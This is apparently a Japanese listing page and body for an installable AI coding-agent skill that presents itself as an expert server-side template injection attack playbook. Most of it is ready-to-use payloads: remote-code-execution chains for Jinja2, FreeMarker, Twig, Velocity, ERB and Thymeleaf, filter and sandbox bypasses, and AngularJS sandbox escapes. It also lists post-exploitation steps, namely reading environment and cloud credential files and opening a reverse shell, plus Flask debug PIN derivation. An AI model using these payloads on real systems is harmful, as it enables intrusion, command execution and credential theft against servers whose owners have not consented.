ssti-server-side-template-injection について
複数のテンプレートエンジンや式のコンテキストを対象に、サーバーサイドテンプレートインジェクションを検出・分析するセキュリティスキルです。エンジン識別プローブや個別例、ブラインド検出方法を収録しています。
主な機能
- 01プローブによるテンプレート評価の識別
- 02テンプレートエンジンと言語の対応付け
- 03Jinja2、FreeMarker、Twig などを解説
- 04サンドボックスやフィルターの回避方法
- 05ブール値・時間差・アウトオブバンド検査
活用シーン
- 01ユーザー入力欄でテンプレート評価を検査
- 02応答からテンプレートエンジンを特定
- 03出力が見えない場合にブラインド注入を調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill ssti-server-side-template-injectionインストール後、Claude Code で/ssti-server-side-template-injectionを入力して読み込まれたか確認します。
同梱ファイルENGINE_PAYLOADS.mdSCENARIOS.md
詳細
スキル:サーバーサイドテンプレートインジェクション(SSTI)— エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:エキスパート向けの SSTI 手法を扱います。ポリグロット検出プローブ、エンジンのフィンガープリンティング、Jinja2/FreeMarker/Twig/ERB の RCE チェーン、クライアントサイド Angular SSTI、バイパス手法を網羅しています。ベースモデルでは、サンドボックスエスケープの MRO チェーンや Jinja2 以外のエンジンを見落としがちです。PHP CMS のテンプレート eval、Jira SSTI、Confluence OGNL、Spring Cloud Gateway SpEL については、関連する SCENARIOS.md を読み込んでください。
0. 関連ルーティング
エンジン固有の本格的なエクスプロイトを行う前に、まず次を読み込むことができます。
- ノイズを抑えたフィンガープリンティングには、このファイルの冒頭にあるポリグロットプローブシーケンスを最初に使用してください
- Java で
${7*7}または%{7*7}が評価される場合は、expression-language-injection を参照してください(SpEL/OGNL)。テンプレートエンジンとは攻撃対象が異なります
拡張シナリオ
次の内容が必要な場合も、SCENARIOS.md を読み込んでください。
- Maccms 8.x の PHP テンプレート
eval—vod-search内の{if-A:phpinfo()}{endif-A}、Web シェル書き込みの Base64 バイパス - Jira CVE-2019-11581 — 「Contact Administrators」フォーム → Velocity テンプレートインジェクション → 管理者宛てメール内のコマンド出力
- Spring Cloud Gateway SpEL(CVE-2022-22947)— 出力を取得する
StreamUtils.copyToByteArrayを使った actuator ルートインジェクション - Struts2 OGNL S2-045(CVE-2017-5638)—
_memberAccess/OgnlUtilのブラックリストを解除する Content-Type ヘッダー OGNL インジェクション - Confluence OGNL CVE-2021-26084 —
\u0027の Unicode バイパスを使ったcreatepage-entervariables.action - SSTI と EL インジェクションの識別ガイド
- 追加のテンプレートエンジン:ASP.NET Razor、Elixir EEx、PHP Smarty/Latte/Blade、JS Pug/Handlebars/Nunjucks/EJS/Lodash + 汎用検出 + ブラインド SSTI + Flask PIN の計算
SCENARIOS.md の参照先(§7~§11): Razor、EEx/LEEx/HEEx、PHP スタック、JavaScript テンプレートエンジン、汎用ポリグロットプローブ、数学的フィンガープリンティング、ブラインド SSTI(ブール値/時間/OOB)、Flask デバッグ PIN の前提条件に関する拡張ペイロードとエンジン固有の注記については、SCENARIOS.md を参照してください。このスキルでは、§13~§15 に簡潔なチェックリストを記載しています。
エンジンペイロードのリファレンス
エンジン固有の拡張フィンガープリンティング、ペイロード一覧(Jinja2、Twig、Freemarker、Velocity、Pebble、Mako、Slim、Handlebars、Thymeleaf、Smarty、ERB、Jade/Pug)、ブラインド SSTI の検出手法(タイミングベース、DNS ベース)については、ENGINE_PAYLOADS.md を参照してください。
汎用検出とブラインド SSTI(参照先)
まず §1 と §13 のポリグロットペイロードおよび数学プローブを使用してください。より詳しいブラインドテストのパターンや、エンジンごとの例(Python 以外のスタックを含む)が必要な場合は、SCENARIOS.md の §11 を参照し、手法名(ブール値、時間、OOB、エラーベース)については、こちらの §14 と照合してください。
1. 検出 — ポリグロットプローブシーケンス
最初のテスト:SSTI と XSS を区別します。次のプローブを送り、サーバー側で 計算式が評価されるか を確認してください。
{{7*7}} → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7} → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7} → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})
Jinja2 と Twig の識別:
{{7*'7'}}
→ 7777777 = Jinja2 (Python string multiplication)
→ 49 = Twig (PHP numeric)
安全な検出プローブ(計算式を使わず、ブール値のみ):
{{''.__class__}} → class 'str' = Python/Jinja2
2. エンジンと言語の対応表
| テンプレートエンジン | 言語 | フレームワーク |
|---|---|---|
| Jinja2 | Python | Flask、FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony、Laravel |
| Smarty | PHP | Various |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | Various Java |
| Pebble | Java | Various Java |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
エラーから言語を特定し、その後テンプレートエンジンを絞り込みます。
3. JINJA2(PYTHON FLASK)— RCE チェーン
チェーン 1:__globals__ 経由で os モジュールにアクセス
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
チェーン 2:MRO サブクラスのトラバーサル(サンドボックスエスケープ)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
チェーン 3:request オブジェクトのグローバル変数(config がブロックされている場合に有効)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
(_ のフィルタリングを避けるために 16 進数エンコーディングを使用)
チェーン 4:lipsum 関数のグローバル変数(Flask 組み込み)
{{lipsum.__globals__.os.popen('id').read()}}
チェーン 5:cycler オブジェクト
{{cycler.__init__.__globals__.os.popen('id').read()}}
正しいサブプロセスのインデックスを動的に特定する:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}
4. JINJA2 サンドボックスのバイパス手法
_(アンダースコア)がブロックされている場合:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')
.(ドット)がブロックされている場合:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
キーワード(class、mro)がブロックされている場合:
attr() で 16 進数/Unicode を使用します:
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
出力エンコーディングによって HTML エンティティが除去される場合:
|safe フィルターを使って自動エスケープを防ぎます。
5. FREEMARKER(JAVA)— RCE
freemarker.template.utility.Execute を介したコマンド実行
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
ObjectConstructor を介する代替方法:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}
6. TWIG(PHP)— RCE
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}
7. VELOCITY(JAVA)— RCE
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
より直接的な方法:
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))
8. ERB(RUBY RAILS)— RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
9. THYMELEAF(JAVA SPRING)— RCE
Spring EL(SpEL)を使用する Thymeleaf:
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type
10. クライアントサイドテンプレートインジェクション(AngularJS)
AngularJS がクライアントサイドで使用され、ユーザーデータがテンプレート式に渡される場合:
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
検出:{{1+1}} を送信します。ページに 2 と表示される場合、AngularJS が DOM 内の式を評価しています。
11. SSTI → 完全な RCE への経路
SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen()
│ OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()
RCE 後のピボット:
/proc/self/environを読み取ります — 認証情報を含む環境変数- アプリケーションの設定ファイルを読み取ります — DB パスワード、API キー
cat ~/.aws/credentials— クラウド認証情報- 永続化のためのリバースシェル
12. よくあるインジェクションの侵入ポイント
ユーザーデータがテンプレートに渡される場所:
- URL パス:
https://site.com/home?name={{7*7}} - クエリパラメーター:
?message=Hello - HTML フォーム:プロフィール名、自己紹介、コンテンツのフィールド
- エラーページ:
404 Not Found: /PAYLOAD - メールテンプレート:パスワードリセットメール内の名前
- インラインテンプレートのレンダリング:
render_template_string(user_input)
最も危険:Flask の render_template_string() — ユーザー入力全体がテンプレートとして使用されます。
13. 汎用検出ペイロード
多くのエンジンでエラーまたは評価を引き起こすポリグロットプローブ:
${{<%[%'"}}%\.
ブラインド/エラーの確認に使う数学的プローブ:
{{7*7}} → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> → 49 (ERB, EJS, EEx)
#{7*7} → 49 (Pug, Ruby interpolation)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)
エラーに基づくエンジンのフィンガープリント(パーサーやスタックトレースにエンジン名が含まれることがよくあります):
(1/0).zxy.zxy
14. ブラインド SSTI の手法
- ブール値ベース:
(3*4/2)と3*)2(/4を比較します。前者が評価され、後者でエラーになる場合、評価されている可能性が高いです - 時間ベース:
{{sleep(5)}}、または遅延を発生させるエンジン固有の同等の式 - OOB:直接出力が確認できない場合、テンプレート式を介して DNS/HTTP コールバックを行います
- エラーベース:真/偽の条件に応じて異なるエラーメッセージを発生させます
15. FLASK PIN の計算
Flask のデバッグモード(Werkzeug デバッガー)が公開されているものの、PIN で保護されている場合、PIN はホスト固有の値から導出されます。公開されている PIN 計算スクリプトで一般的に使われる入力値は次のとおりです。
username—/etc/passwdから取得します(Flask プロセスを実行しているユーザー)- モジュール名 — 多くの場合、
flask.appまたはFlask - アプリケーションのパス —
app.pyまたは実際のメインファイル名 - MAC アドレス — 例:
/sys/class/net/eth0/address。Werkzeug が想定する形式に合わせて 10 進数に変換します - マシン ID —
/etc/machine-id、または Werkzeug のアルゴリズムに従い、/proc/sys/kernel/random/boot_idと/proc/self/cgroupの先頭行を組み合わせた値 - PIN の計算 — これらの値から同じアルゴリズムを実装する、定評のあるオープンソースの PIN 計算ツールを使用します
認可を受けたシステムでのみ使用してください。これらの値を取得するには、事前のアクセス権または別の情報漏えい経路が必要です。